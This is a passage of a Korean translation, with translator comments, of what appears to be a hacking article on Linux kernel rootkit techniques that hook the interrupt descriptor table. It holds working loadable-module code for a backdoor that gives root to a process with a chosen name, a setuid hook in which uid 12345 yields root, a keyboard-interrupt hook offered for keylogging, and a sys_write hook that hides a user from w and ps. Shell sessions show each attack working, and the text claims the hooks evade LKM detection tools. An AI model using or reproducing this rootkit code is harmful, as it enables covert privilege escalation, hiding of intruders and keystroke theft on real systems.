변환해야 합니다. 함수는 다음과 같은 3 가지 파라미터를 받아들입니다. 인터럽트 후킹 넘버와 새로운 핸들러의 주소와 이전의 핸들러의 주소를 저장하기 위한 포인터가 그 3 가지 파라미터 입니다. =========================================================================== void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *)ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } struct descriptor_idt: struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; =========================================================================== 우리는 이미 64bit를 갖는 디스크립터를 본 적이 있지요 .. ================================================================== unsigned short : 16 bits (offset_low,seg_selector and offset_high) unsigned char : 8 bits (reserved and flag) (3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet ================================================================== 그것은 IDT 를 위한 디스크립터 입니다. 우리에게 흥미로운 필드는 offset_low 와 high 뿐입니다. 이 두 필드가 수정되게 될테니까요... Hook_stub 은 다음과 같은 순서에 따라 수행됩니다. ==================================================================== 1: 우리는 우리의 핸들러의 주소를 new_addr 로 복사합니다. 2: 첫번째 IDT 디스크립터에 대한 idt 변수를 만들고, IDT의 주소를 get_addr_idt() 함수를 사용해 얻게 됩니다. get_addr_idt() 함수는 idt 주소와 idt 의 크기를 구해 변수로 넘기는 sidt 어셈블리 인스트럭션을 실행합니다. 우리는 이 값(idtr)으로 부터 idt의 주소를 구하게 되고, 다시 그 값을 돌려줍니다. 이는 프랙 58 호 7번 글에서 sd와 devik 에 의해서 설명되었답니다. 3: 그리고 get_stub_from_idt 함수를 사용하여 이전 핸들러의 주소를 저장합니다. get_stub_from_idt 함수는 주어진 디스크립터로 부터 offset_high와 offset_low 필드를 추출하고, 주소를 다시 전달합니다. ////////////////////////////////////////////////////////////////// struct descriptor_idt *idte = &((struct descriptor_idt *)ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); ////////////////////////////////////////////////////////////////// n 은 후킹하기 위한 인터럽트의 번호랍니다. idte 는 전달 받은 인터럽트 디스크립터를 포함하게 된답니다. (%edward : idte 는 Interrupt Descriptor Table Entry 의 약자인듯) 우리는 핸들러의 주소를 되돌려주고, 우리가 되돌려주는 타입은 32 bit (void*) 입니다. offset_high와 offset_low 둘다 16비트인데, offset_high 를 왼쪽으로 16비트 shift 시키고, offset_low 를 더하게 됩니다. 그리고 특정부분에 이 핸들러의 주소를 넘겨주죠. (%edward : offset_high 와 offset_low 가 기억 안나시면 저 위로 올라가셔서 인터럽트 디스크립터에 대한 표를 보세요.) 4: new_addr 는 우리의 핸들러 주소(항상 32 비트)를 포함하고, 그리고 우리는 new_addr 의 16 MSB 를 추출하고, offset_high로 넘겨주고, 16 LSB 는 offset_low 로 넘겨줍니다. 이제 처리해야 할 인터럽트 디스크립터의 offset_high 와 offset_low 필드가 변경되었습니다. 완전한 코드는 8장 부가적인 내용의 CODE 1 에 있습니다. ==================================================================== 왜 이 테크닉이 완전하지 못한가 ? 이 테크닉이 나쁜것은 아니지만 다른 인터럽트에는 적절하지 못합니다. 여기서 우리는 모든 핸들러는 다음과 같다는 결론에 이르게 됩니다. ================================ pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code ================================ 이는 사실입니다. 만약 여러분들이 entry.S 파일을 훑어 본다면, 거의 모든 핸들러가 위와 같이 되어 있음을 알 수 있습니다. 하지만 전부 그런것은 아니죠. (% edward : 여러분도 열어보세요 실제로 대부분이 그렇답니다 ^^) 상상해보세요 syscall의 핸들러를 후킹과 device_not_available 핸들러 또는 심지어 하드웨어 인터럽트 까지도 후킹한다는 것을 ... 어떻게 할 수 있을까요 ? 3.4 - 일반적인 인터럽트 후킹 지금부터 우리는 핸들러를 후킹하기 위해 다른 테크닉을 사용할겁니다. C 로 작성된 핸들러를 기억하세요 ? 우리는 실제 C 핸들러로 돌아 갔을때 return 에게 감사해야 합니다. 이제 우리는 어셈블리 코드로 돌아 갈 것입니다. 단순한 핸들러 예제 : ============================================= void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " call *%0 \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } ============================================= 여기서, 우리는 우리의 가짜 C 핸들러를 만들고, 핸들러가 실행되고, 그리고 실제 어셈블리 핸들러로 점프하기 위한 어셈블리 언어로 작성된 핸들러로 돌아오게 됩니다. 우리의 C 핸들러 : ====================================================== asmlinkage void my_function() { printk("<1>Interrupt %i hijack \n",interrupt); } ====================================================== 무슨일이 일어날까요 ? 이제 idt 의 주소가 우리의 어셈블리 핸들러의 주소로 변경될 것입니다. 또 그 핸들러는 우리의 C 핸들러로 점프하고, 우리의 어셈블리 핸들러로 돌아오게 되고, 마지막으로 우리에 의해 저장되었던 실제 어셈블리 핸들러의 주소로 점프하게 되지요. ================================= ::"m"(hostile_code),"m"(old_stub) ================================= 인라인 어셈블리 문서 만으로 저러한 것을 읽어내기는 어려우므로 여기서 이 구문은 설명을 ^^; ======================================== asm ( assembler instruction : 출력 오퍼랜드(output operands) : 입력 오퍼랜드(input operands) : 수정된 레지스터의 목록 ); ======================================== 여러분들은 asm 또는 __asm__ 으로 인라인 어셈블리 구문을 삽입할 수 있습니다. 다만 __asm__ 는 다른 변수들과의 혼란을 피하기 위해서 사용되곤 하죠. 또한 asm volatile 을 사용할 수도 있는데 이러한 경우에는 어셈블리 코드는 컴파일 되는동안 최적화 되거나 변경되지 않습니다. (% edward : 최적화 되면 안되는 코드들이 있는데, 그러한 경우에 volatile 이 자주 쓰이곤 하죠. ) "m"(hostile_code) 와 "m"(old_stub) 은 입력 오퍼랜드 입니다. "m"(hostile_code) 는 %0 이며, "m"(old_stub)는 %1 입니다. 그래서 %0 을 호출하는 것은 hostile_code 를 호출하는 것과 같습니다. "m"은 메모리 주소를 의미하지요. hostile_code 는 우리의 핸들러 주소와 일치하고, old_stub 은 이전의 idt 에 있던 핸들러의 주소를 갖습니다. 만약 이 코드를 이해할 수 없다면 참조문헌 & 도움말(7장)의 1번 내용 인 인라인 어셈블리 문서를 읽고 난 뒤에 다시 보길 권합니다. 전체 코드는 8장에 있습니다. 다음에 나올 모든 코드들은 그 8장의 코드에서 참조하게 됩니다. 새로 소개 될 각각의 예제들에서 저는 C 핸들러에서 어셈블리 핸들러 부분만 보여줄 것입니다. 첫번째 구체적인 예제 : ================================================================ bash-2.05# cat test.c ///////////////////////////////////// #include int main () { int a=8,b=0; printf("A/B = %i\n",a/b); return 0; } ///////////////////////////////////// bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c bash-2.05# insmod hookstub-V0.2.o interrupt=0 Inserting hook Hooking finish bash-2.05# ./test Floating point exception Interrupt 0 hijack bash-2.05# rmmod hookstub-V0.2 Removing hook bash-2.05# ================================================================ 좋아요 ! 우리는 "Interrupt hijack" 을 볼수가 있었습니다. 이 코드에서 우리는 모듈 삽입을 하는 동안 파라메터 전달을 허용하기 위해서 MODULE_PARM 을 사용합니다. 그리고 앞으로 나올 구문에 대한 정보는 o'reilly 출판사에서 나온 "linux device drivers" , 참조문헌 2번을 읽어보시기 바랍니다. 이는 같은 모듈을 사용하여 선택된 인터럽트를 후킹하는 것을 허용하지요. 3.5 - 후킹으로부터 얻을 수 있는 이득 : 우리의 첫번째 백도어 매우 단순한 첫번째 백도어는 root shell 을 얻을 수 있게 해줍니다. C 핸들러는 인터럽트가 발생된 프로세스를 위해 루트 권한을 주게 됩니다. 어셈블리 핸들러 --------------- ======================================================= void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } ======================================================= C 핸들러에게 현재 프로세스 디스크립터의 주소를 주었습니다. 그리고 그 주소는 error_code 에 전달 되겠죠. 다음의 GET_CURRENT 매크로에 감사합시다. ============================ #define GET_CURRENT(reg) \ movl %esp, reg; \ andl $-8192, reg; ============================ GET_CURRENT 매크로는 entry.S 에 정의 되어있습니다. (% edward : *errorcheck* ) 결과를 스택에 넣고 우리의 함수를 호출합니다. 그리고 어셈블리 코드의 스택을 이전의 상태로 되돌리고 실제 핸들러로 점프합니다. C 핸들러 : ------------- ======================================================================== ... unsigned long hostile_code=(unsigned long)&my_function; ... asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { p->uid=0; p->gid=0; } } ======================================================================== 우리는 현재 프로세스 디스크립터에 포인터를 선언합니다. 그리고 프로세스의 이름을 우리에 의해 선택된 이름과 비교합니다. 이때 우리는 발생된 이 모든 인터럽트 프로세스가 루트 권한을 갖는다고 생각해서는 안됩니다. 만약 그 프로세스가 좋은 프로세스라면 우리는 그 프로세스에게 새로운 권한을 줄 수도 있습니다. "give_me root" 는 system("/bin/sh") 라는 쉘을 띄웁니다. 우리는 system 이 루트 권한을 갖는 쉘을 띄우기 전에 단지 breakpoint 를 넣을 것입니다. 실전 : -------------- ================================================================= bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c bash-2.05# insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finish bash-2.05# ///// in another shell ////// sh-2.05$ cat give_me_root.c #include int main (int argc, char ** argv) { system("/bin/sh"); return 0; } sh-2.05$ gcc -o give_me_root give_me_root.c sh-2.05$ id uid=1000(kad) gid=100(users) groups=100(users) sh-2.05$ gdb give_me_root -q (gdb) b main Breakpoint 1 at 0x80483f6 (gdb) r Starting program: /tmp/give_me_root Breakpoint 1, 0x080483f6 in main () (gdb) c Continuing. sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# ================================================================= 이제 우리는 루트입니다. 코드는 8장의 CODE 2 번을 참조하세요. 3.6 - 후킹으로부터 얻는 재미 재미있는 프로그램은 예외 추적기 입니다. 우리는 예외를 발생시킨 프로세스의 이름을 출력하기 위한 모든 예외를 후킹하는 예제를 다루어습니다. 그리고 우리는 이미 무엇이 실행되는지에 대해서도 모두 알고 있습니다. 또 레지스터의 값을 출력하는 것 할 수 있답니다. 지금 나올 show_regs 함수는 arch/i386/kernel/process.c 에 있습니다. ================================================================ void show_regs(struct pt_regs * regs) { long cr0 = 0L, cr2 = 0L, cr3 = 0L; printk("\n"); printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip); if (regs->xcs & 3) printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp); printk(" EFLAGS: %08lx\n",regs->eflags); printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n", regs->eax,regs->ebx,regs->ecx,regs->edx); printk("ESI: %08lx EDI: %08lx EBP: %08lx", regs->esi, regs->edi, regs->ebp); printk(" DS: %04x ES: %04x\n", 0xffff & regs->xds,0xffff & regs->xes); __asm__("movl %%cr0, %0": "=r" (cr0)); __asm__("movl %%cr2, %0": "=r" (cr2)); __asm__("movl %%cr3, %0": "=r" (cr3)); printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3); } ================================================================ (% edward : cr? 레지스터는 커널 버젼에 따라서 수가 틀릴수도 엄밀히 말하면 프로세서가 가진 cr 레지스터의 수에 따라 달라지는 것이지요.) 이 코드를 모든 예외에 대한 레지스터의 상태를 출력하기 위해 사용할 수가 있습니다. 위험한 것들은 어셈블리 핸들러를 변경하기 위해 실제 C 핸들러를 수행하지 않을 수도 있습니다. 예외를 발생시킨 프로세스는 SIGSTOP 이나 SIGSEGV 와 같은 시그널들을 받지 않을 것이구요. 이는 어떤 면에서 매우 유용한 것이기도 하지요. 4 - 하드웨어 인터럽트 4.1 - 하드웨어 인터럽트는 어떻게 해야 하죠 ? 우리는 IRQ에 의해 발생한 인터럽트 또한 같은 방법으로 후킹할 수 있지만 하드웨어 인터럽트를 후킹하는것은 덜 흥미롭죠. (여러분이 좀더 기발한 생각을 갖지 못한다면 말입니다. ;) ) 지금부터 우리는 키보드 인터럽트인 33번을 후킹할것입니다. 문제는 이 인터럽트는 매우 자주 발생한다는 것이지요. 핸들러는 쉴세없이 수행될 것이고, 시스템에 의해 막히지 않고, 매우 빠르게 동작할 것입니다. (% edward : 여러분이 윈도우 시스템을 사용한다면 "장치관리자"를 열어서 "보기" -> "리소스(종류별)" 로 설정한뒤 인터럽트 요청(IRQ)을 한번 보세요. 시스템 타이머 다음이 바로 키보드로 되어 있을겁니다. 표준 PC 건 ACPI 건 말입니다. IRQ 우선순위 보는법은 8259 칩 관련 내용을 참조하세요.) 이러한 문제점을 피하기 위해서 우리는 bottom half 를 사용할 것입니다. 거기에는 대부분의 경우에 인터럽트 처리를 위해 사용되는 낮은 우선순위의 함수가 있습니다. 커널은 그것을 띄우기 위해 적당한 시간 동안 기다리고, 그것이 실행되는 동안 다른 인터럽트는 not masked 됩니다. bottom half 를 기다리는 것은 다음의 경우에만 수행될 것입니다. - 커널이 syscall 을 처리를 끝마칠때 - 커널이 예외 처리를 끝마칠때 - 커널이 인터럽트 처리를 끝마칠때 - 커널이 새로운 프로세스를 선택하기 위해 schedule() 함수를 사용할때 하지만 그들은 프로세서가 유저모드로 돌아오기 전에 수행될 것입니다. 따라서 bottom half 는 인터럽트의 빠른 처리를 보장하는데 매우 유용합니다. (% edward : bottom half 는 리눅스의 커널 서비스 루틴으로 커널모드에서 동작하며, top half(리눅스의 인터럽트 서비스 루틴) 보다는 낮은 우선순위를 갖는다. top half 또한 커널 모드에서 동작한다.) 아래는 linux 가 bottom halves 를 사용하는 몇몇 예 입니다. +----------------+-------------------------------+ |Bottom half | Peripheral equipment | +----------------+-------------------------------+ |CONSOLE_BH | Virtual console | |IMMEDIATE_BH | Immediate tasks file | |KEYBOARD_BH | Keyboard | |NET_BH | Network interface | |SCSI_BH | SCSI interface | |TIMER_BH | Clock | |TQUEUE_BH | Periodic tasks queue | |... | | +----------------+-------------------------------+ (% edward : bh 가 bottom half 의 약자 겠군요.) 제가 이 문서를 작성하는 목적은 bottom halves 를 공부하기 위한것이 아닙니다. bottom halves 까지 포함된다면 주제가 너무 넓어지기 때문이죠. 여하튼 BH 에 관한 더많은 정보는 다음 URL 을 통해 얻을 수가 있습니다. (% edward : 한마디로 읽어보라는 말이죠.) 7장 [8] 참조 ******************************************************************** http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html ******************************************************************** IRQ 목록 -------- 알아두세요! 인터럽트의 번호는 아래와 항상 같은 것은 아니라는 점을... ----+---------------+---------------------------------------- IRQ | Interrupt | Peripheral equipment ----+---------------+---------------------------------------- 0 | 32 | Timer 1 | 33 | Keyboard 2 | 34 | PIC cascade 3 | 35 | Second serial port 4 | 36 | First serial port 6 | 37 | Floppy drive 8 | 40 | System clock 11 | 43 | Network interface 12 | 44 | PS/2 mouse 13 | 45 | Mathematic coprocessor 14 | 46 | First EIDE disk controller 15 | 47 | Second EIDE disk controller ----+---------------+---------------------------------------- (% edward : 기본적으로 0 번과 1번은 각각 timer 와 keyboard 로 잡힙니다. 음 2번도 PIC cascade 로 잡히지요. 그리고 8번도 기본적으로 System Clock 으로 잡힙니다. 14번과 15번도 EIDE 컨트롤러로 잡히지요. 3번과 4번도 Serial port 로 잘 잡힙니다. 12,13 번도 위와 같이 잘 잡힐것입니다. 그외에 5번 7번 9, 10, 11번은 여러분의 시스템 세팅 능력입니다. -_-; 우선순위가 엉망이 되어있다면 아무리 빠른 시스템도 느려질 수 밖에 없다는 제 말을 이해하시려면 8259 의 우선순위에 대한 내용을 읽어보세요. 제 글중 어딘가에 포함되어 있을것입니다.) 4.2 - bottom half 초기화 및 활성화 low parts는 bh_base 의 n 번째 엔트리에 routine 의 주소를 삽입하는 init_bh(n,routine) 함수를 사용하여 초기화 하게 됩니다. (bh_base는 low parts를 유지하는 배열입니다.) low parts 가 초기화 되었을때, 활성화 되고 수행되어질 수 있습니다. mark_bh(n) 함수는 n번째 low part를 활성화 시키기 위해 인터럽트 핸들러에 의해 사용됩니다. tasklets 는 그것들의 함수들입니다. 아래는 tq_struct 타입의 구조체입니다. ================================================================ struct tq_struct { struct tq_struct *next; /* 활성화 bh 의 연결리스트 */ unsigned long sync; /* 반스시 0으로 초기화되어야함 */ void (*routine)(void *); /* 호출을 위한 함수 */ void *data; /* 함수를 위한 인자 */ }; ================================================================ (include/linux/tqueue.h) DECLARE_TASK_QUEUE(name,function,data) 매크로는 tasklet의 선언을 가능하게 하고, tasklet 은 queue_task 함수에 의해 태스크 큐에 삽입되게 됩니다. 많은 태스크 큐들중에 가장 흥미로운 것은 IMMEDIATE_BH bottom half(immediate 태스크 큐) 에 의해 수행되는 tq_immediate 입니다. (% edward : tasklet 는 리눅스 2.4 커널에서 delayed execution 을 지원하기 위한 매커니즘으로 task 의 일부로 실행되어지는 하나의 함수를 말합니다. 그래서 소작업(작은작업) 이라고 부르기도 하지요. 아 그리고 쉽게 말하자면 bottom half 를 좀더 확장한 그런 매커니즘이기 때문이기도 하지요. 음 여전히 부족할까요 ? -_-; Tasklet 가 softirqs(소프트웨어 인터럽트)와 다른점은 tasklet은 하나의 CPU 에서만 동시에 동작한다는 점이고, bh와 다른점은 다른 CPU상에서도 동시에 동작할 수 있다는 점이지요. tasklet 에 대해서 더 궁금하시면 google 에서 찾아보세요. 제 능력과 시간의 한계입니다. ㅡ.ㅜ) 4.3 - 키보드 인터럽트의 후킹 우리가 키를 입력할때, 인터럽트는 두번 일어나게 됩니다. 한번은 키를 누를때이고, 또 한번은 누른 키를 땔때 입니다. 아래의 코드는 10번 인터럽트가 발생할때 마다 메시지를 출력할 것입니다. 만약 우리가 5키를 입력하면, 메시지에 나타나겠죠. 어셈블리 핸들러는 3.4에서와 같으므로 생략합니다. 코드 ---- ============================================================================ ... struct Variable { int entier; char chaine[10]; }; ... static void evil_function(void * status) { struct Variable *var = (struct Variable * )status; nb++; if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n", nb,var->entier,var->chaine); } ... asmlinkage void my_function() { static struct Variable variable; static struct tq_struct my_task = {NULL,0,evil_function,&variable}; variable.entier=3; strcpy(variable.chaine,"haha hijacked key :) "); queue_task(&my_task,&tq_immediate); mark_bh(IMMEDIATE_BH); } ============================================================================ 우리는 my_task tasklet 을 선언하고, 우리의 함수와 인자를 사용하여 초기화 시킵니다. tasklet 이 단지 하나의 인자만을 가질수 있게 허용하므로 구조체의 주소를 넘길 수있습니다. 이렇게 하면 많은 인자들을 사용할수가 있게 되는것이지요. (% edward : 저도 자주 쓰지만 ... 생각할수록 얍샵한 수법이군요 -_-)a ) 그리고 queue_task를 사용하여 tasklet 을 tq_immediate 에 추가합니다. 마지막으로 IMMEDIATE_BH 의 low part 를 활성화하는 mark_bh에 감사해야 하겠습니다. ===================== mark_bh(IMMEDIATE_BH) ===================== 우리는 task 큐('tq_immediate')를 처리하기 위한 IMMEDIATE_BH 를 활성화해야 합니다. tq_immediate 중에 하나는 우리가 만든 tasklet 인 evil_function은 요청된 이벤트 중 하나(4.1에 열거된)가 올라온 직후에 수행됩니다. (% edward : 우쒸 ㅜ.ㅜ 소스에 evil_fonction 이라고 해놔서 한참 해멨다는 ㅜ.ㅜ) evil_function 은 인터럽트가 10번 발생할때 마다 메시지를 출력할 겁니다. 키보드 인터럽트는 효율적으로 후킹 되었습니다. 키로거 코드를 위해 이 메소드를 사용할 수 있습니다. 인터럽트 레벨에서 동작했었기 때문에 가장 은밀하게 동작 할 수가 있지요. 내가 해결하지 못했던 이슈는 어떤 키가 히트되었는지 알아내는 것이었습니다. 이러한 문제를 해결하기 위해서 I/O 포트 상에서 읽어들일 수 있는 inb() 함수를 사용할 수 있습니다. 거기에는 65536 I/O 포트(8 비트 포트) 가 있습니다. 2 개의 8비트 포트는 16비트 포트를 만들고, 2개의 16비트 포트는 32비트 포트를 만들 수 있습니다. 다음 함수들은 포트에 접근할 수 있게 도와주는 함수들입니다. ============================================================================== inb, inw, inl : 각각 연속된 1, 2 그리고 4 바이트를 I/O 포트로부터 read 합니다. outb, outw, outl : 각각 연속된 1, 2 그리고 4 바이트를 I/O 포트로 write 합니다. ============================================================================== 어쨌든 inb 함수를 통해 키보드의 스캔코드를 읽을 수가 있고, 키보드가 눌러진 상태인지 혹은 눌렀다가 손을 땐 상태인지 알수가 있습니다. 불행하게도 저는 포트를 읽었는지 확신 할수는 없었습니다. 스캔코드에 대한 포트는 0x60이고, 키 입력 상태에 대한 포트는 0x64 입니다. ===================== scancode=inb(0x60); status=inb(0x64); ===================== 스캔코드는 입력된 키가 변형되었는지 알기위한 값과 일치합니다. 이는 실제 값의 배열로 사용됩니다. (% edward : 등등 -_- 뒷부분 3줄 정도 생략 ... ) 5 - 시스템 콜을 위해 프로그램된 예외 5.1 - syscalls(시스템콜) 목록 여러분들은 다음 URL 에서 모든 시스템 콜 목록을 찾을 수 있습니다. /////////////////////////////////////////////////// http://www.lxhp.in-berlin.de/lhpsysc0.html /////////////////////////////////////////////////// 참조문헌 [3]번 모든 syscall 이 정리되어 있으며 레지스터에 전달할 값도 나온답니다. 이점은 알아야 하는데 커널 2.2와 2.4 의 시스템 콜 번호가 같지 않다는 거죠 ... 5.2 - 시스템 콜이 어떻게 동작하는가 ?? 우리는 시스템콜 또한 후킹 할 수 있습니다. syscall 이 호출될때, syscall 의 모든 파라메터들은 아래와 같이 레지스터에 저장 됩니다. (% edward : 이 부분은 차라리 시스템 콜에 관한 제 문서를 참조하시는게 좋을 듯하지만 -_-;; 욕먹을것 같은 압박에 ... 사실 여기서는 stub 과 table 이 아닌 IDT 레벨에서 시스템 콜을 후킹합니다. ) ==================================== eax : 호출된 syscall 번호 ebx : 1번째 파라메터 ecx : 2번째 파라메터 edx : 3번째 파라메터 esi : 4번째 파라메터 edi : 5번째 파라메터 ==================================== 최대 인자의 수는 5 개를 넘지 못합니다. 하지만 몇몇 syscall 들은 5개 이상의 인자들이 필요한 경우도 있지요. 대표적으로 syscall 인 mmap 은 6개의 파라메터를 갖습니다. 이러한 경우는 하나의 레지스터가 파마미터들의 값을 갖는 유저 모드의 프로세스 주소 영역 가리키는데 사용되곤 합니다. (% edward : 역시 포인터와 구조체의 강력함을 -_-; ) 우리는 이러한 값들을 얻을 수 있게 해주는 이미 본 바 있는 pt_regs 구조체에 고마움을 느낀다. 지금부터 syscall_table 에 의한 시스템 콜 후킹이 아닌 IDT 레벨에서 시스템 콜을 후킹할 것이다. kstat 과 널리 사용가능한 모든 LKM 감지 툴은 우리의 사술을 (% edward : 사악한 술수 정도로 이해를 ...) 감지 하는데 실패할 것이다. 나는 당신에게 시스템 콜 후킹이 어떻게 모두 완료되는지 보여주기를 바라지는 않으며, 실용적으로 사용되는 테크닉 또는 LKM을 여기서 응용할 수 있다. 몇 가지 syscall 이 어떻게 후킹되는지 보여줄것이며, 여러분들은 같은 테크닉을 사용하여 여러분들이 원하는 시스템 콜들을 후킹할 수가 있을 것이다. 5.3 - 후킹으로부터 얻을 수 있는 이득 5.3.1 - sys_setuid 의 후킹 SYS_SETUID: ----------- ======== EAX: 213 EBX: uid ======== 우선 프로세스의 권한을 root 로 변경하는 백도어같은 간단한 형태 부터 시작한다. 이 글 3.5 에서의 백도어와 같지만 setuid 시스템 콜을 후킹하는데서 부터 시작해보자 asm handler : -------------- ============================================================== ... #define sys_number 213 ... void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" // 레지스터 값의 저장 " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" // 그 시스템콜이 우리가 의도하는 것인지 비교 " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" // 맞다면 // stack top 의 주소를 스택에 넣는다 :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" // 레지스터 복구 " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } ============================================================== - 우리는 모든 레지스터의 값을 스택에 저장한다. - 시스템 콜의 번호가 우리가 위에서 정의한 sys_number 의 번호와 eax가 같은 값인지 비교한다. - 만약 그렇다면 스택에 이미 저장해두었던 esp 의 값(pt_regs 사용)과 현재 프로세스 디스크립터를 스택에 넣는다. - 그리고 우리의 C 핸들러를 호출하고, 리턴한 뒤 8byte(eax + edx)를 pop 한다. - finis : 우리의 레지스터 값을 복구해주고, 실제 핸들러를 호출한다. sys_number 값의 변경만으로 이 어셈블리 핸들러를 사용하여 어떤 핸들러도 후킹할 수 있다. C handler ---------- =========================================================================== asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct *) fd_task)[0]; if (regs->ebx == 12345 ) { my_task->uid=0; my_task->gid=0; my_task->suid=1000; } } =========================================================================== 우리는 pt_regs 구조체에서 레지스터의 값을 구할 수 있고, 현재 fd 의 주소를 구할 수도 있습니다. 또한 12345 와 ebx의 값을 비교하고, 만약 둘의 값이 같다면, 현재 프로세스의 uid 와 gid 를 0으로 만듭니다. 실전 : -------------- ============================================= bash-2.05$ cat setuid.c #include int main (int argc,char ** argv) { setuid(12345); system("/bin/sh"); return 0; } bash-2.05$ gcc -o setuid setuid.c bash-2.05$ ./setuid sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# ============================================= 지금부터 루트입니다. 이 테크닉은 많은 시스템콜에 사용되어 질 수 있습니다. 5.3.2 - sys_write 의 후킹 SYS_WRITE: ---------- ============================= EAX: 4 EBX: 파일 디스크립터 ECX: 출력 버퍼 포인터 EDX: 전송하기 위한 바이트 수 ============================= 우리는 정의된 프로그램에서 문자열을 대치하는 형식의 시스템 콜으로 sys_write 를 후킹 할 것입니다. 어셈블리 핸들러는 5.3.1 의 것과 같습니다. C handler ---------- =========================================================================== asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task= &((struct task_struct *) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0|| strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } =========================================================================== (% edward : 지면 관계상 indentation 은 제가 조정했습니다. 이해해주세욤.) - 정의된 프로그램의 이름을 사용하는 프로세스의 이름과 우리가 모듈삽입할때 파라메터(progy 파라메터)로 넘겨준 이름을 비교한다. - regs->ecx 에 있는 문자열을 받을 buffer 를 위한 공간을 할당한다. - sys_write 가 유저모드로부터 커널모드에 쓰기 위한 문자열을 복사한다. (copy_from_user) - sys_write 가 write 하게 될 문자열 중 숨길 문자열을 찾는다. - 만약에 발견되면, 숨겨질 스트링을 변경한다. - 그리고 false 문자열을 유저모드의 공간으로 복사한다. (copy_to_user) 실전 : -------------- ======================================================================================== %gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c %w 12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid %modinfo hookstub-V0.5.2.o filename: hookstub-V0.5.2.o description: "Hooking of sys_write" author: "kad" parm: interrupt int, description "Interrupt number" parm: hide_string string, description "String to hide" parm: false_string string, description "The fake string" parm: progy string, description "You can add another program to fake" %insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel progy=ps Inserting hook Hooking finish %w 12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT marcel tty1 - 11:32pm 35:21 15:01 0.03s sh /usr marcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid %ps -au USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND marcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 -bash root 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 -su root 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 -sh root 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps -au % ======================================================================================== kad 문자열은 숨겨집니다. 전체 소스 코드는 8장 부가적인 내용의 